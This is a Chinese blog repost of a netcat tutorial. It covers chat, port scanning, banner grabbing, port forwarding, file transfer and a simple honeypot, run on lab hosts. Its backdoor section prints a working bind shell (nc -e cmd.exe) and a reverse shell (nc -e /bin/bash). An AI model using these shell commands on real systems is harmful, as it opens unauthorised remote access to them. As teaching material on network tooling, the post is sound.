Netcat:TCP/IP瑞士军刀

转载 2015年11月21日 20:25:51

查看原文请点击:原文地址http://www.2cto.com/Article/201212/176327.html

Netcat 可以为黑客、渗透者、网络管理员提供以下功能:

  • 聊天
  • 端口扫描
  • 标志提取
  • 端口转发/代理
  • 文件传输
  • 蜜罐
  • RAT/后面

让我们先看一下netcat的help:

root@bt:~# nc -h

[v1.10-38]

connect to somewhere: nc [-options] hostname port[s] [ports] …

listen for inbound: nc -l -p port [-options] [hostname] [port]

options:

 

-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t -t answer TELNET negotiation
-u UDP mode
-v -v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]

 

port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp\-data’).

 

 

用NETCAT聊天:

机器A(BT):root@bt:- # nc –l –p 123

机器B(windows):C:\> nc 192.168.118.130 123

         图1

端口扫描:

在扫描端口的工具中netcat并不算很好,但是我们还是来介绍一下吧。

C:\> nc –v –w 2 –z 192.168.118.130 1-100

      

标志提取:

C:\> NC-VV 192.168.118.130 80

下图为我们使用探测192.168.118.130主机80端口,返回web服务器头为Apache/2.2.14

 

端口转发:

如果遇到防火墙限制端口那就可以用到这个喽。

机器A:root@bt:- # nc –l –p 8008 –c “nc google.com 80″

机器B:Browse 192.168.118.130:8008

文件传输:

机器A: root@bt:- # nc –lv -p 123 > test.txt

机器B:C:\> nc 192.168.118.130 123 < test1.txt

 

蜜罐:

你可以用netcat建立一个简单的蜜罐。

机器A:root@bt:- # nc –lvvp 443 < apache2.txt

机器B: C:\> nc 192.168.118.130 443

 

后门:

1、windows 下捆绑端口 www.2cto.com

机器B: C:\> nc –lvvp 1234  –e cmd.exe [监听1234端口, 程序重定向cmd.exe]

机器A:  root@bt:- # nc –v 192.168.118.1 1234 [连接1234端口]

2、反弹SHELL

机器B : C:\> nc –lvvp 1234

机器A: root@bt:- # nc –v 192.168.118.1 1234 –e /bin/bash

 

再介绍几款NETCAT的增强软件

1、cryptcat 加密的netcat (http://sourceforge.net/projects/cryptcat/files/)

2、Ncat是面向21世纪的netcat,是Nmap工具集的一部分。(http://www.oschina.net/p/ncat/)

NCAT ssl 传输文件

机器A: root@bt:- # Ncat –l –ssl 123 >Ncattest.txt

机器B:C:\>Ncat 192.168.118.130 123 –ssl < test2.txt

 

3、socat是一個netcat(nc)的替代產品,可以稱得上nc++。(http://www.oschina.net/p/socat/)

翻译修改自:http://resources.infosecinstitute.com/netcat-tcpip-swiss-army-knife/

 

网络工具的瑞士军刀netcat

这是一个聒噪的夜晚,如果要给出个原因,可能是因为虽然我觉得西班牙不纯粹,但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后,我觉得该玩一下素有网络瑞士军刀之称谓的netcat了。虽然瑞士军刀...
  • dog250
  • dog250
  • 2014年06月14日 11:31
  • 4626

【Linux命令】netcat 网络工具的瑞士军刀

netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netc...
  • lzz957748332
  • lzz957748332
  • 2015年08月10日 08:40
  • 1541

linux中的netcat命令 -- 网络中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做...
  • yusiguyuan
  • yusiguyuan
  • 2014年10月14日 17:48
  • 912

Kali 网络工具“瑞士军刀”NetCat

netcat能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接...
  • qq_33936481
  • qq_33936481
  • 2016年04月16日 19:00
  • 1373

netcat(瑞士军刀)的使用

netcat(瑞士军刀)的使用netcat被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱...
  • aaron85
  • aaron85
  • 2007年04月10日 11:26
  • 531

netcat 瑞士军刀

github源地址 教程:这里
  • A13155283231
  • A13155283231
  • 2017年03月21日 13:19
  • 133

netcat的使用

netcat的使用     NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network  connection)。它被设计成一个可靠的后端(back-end) 工具...
  • u012875880
  • u012875880
  • 2013年11月22日 15:23
  • 5090

nc.exe(Netcat) 瑞士军刀

参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听...
  • qq794858207
  • qq794858207
  • 2014年04月14日 23:49
  • 458

SparkStreaming之TCP流式处理(netcat)

public static void main(String[] args) { SparkConf conf = new SparkConf().setMaster("local[2]")....
  • tangshiweibbs
  • tangshiweibbs
  • 2017年04月20日 18:20
  • 290

瑞士军刀nc/netcat命令

当前位置:首页 » 网络管理 » nc/netcat nc/netcat命令网络测试 nc命令是netcat命令的简称,都是用来设置路由器。 语法 nc/netcat(选项)(参数) 选项 -g:设置...
  • u012654756
  • u012654756
  • 2016年05月18日 23:33
  • 478
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Netcat:TCP/IP瑞士军刀
举报原因:
原因补充:

(最多只允许输入30个字)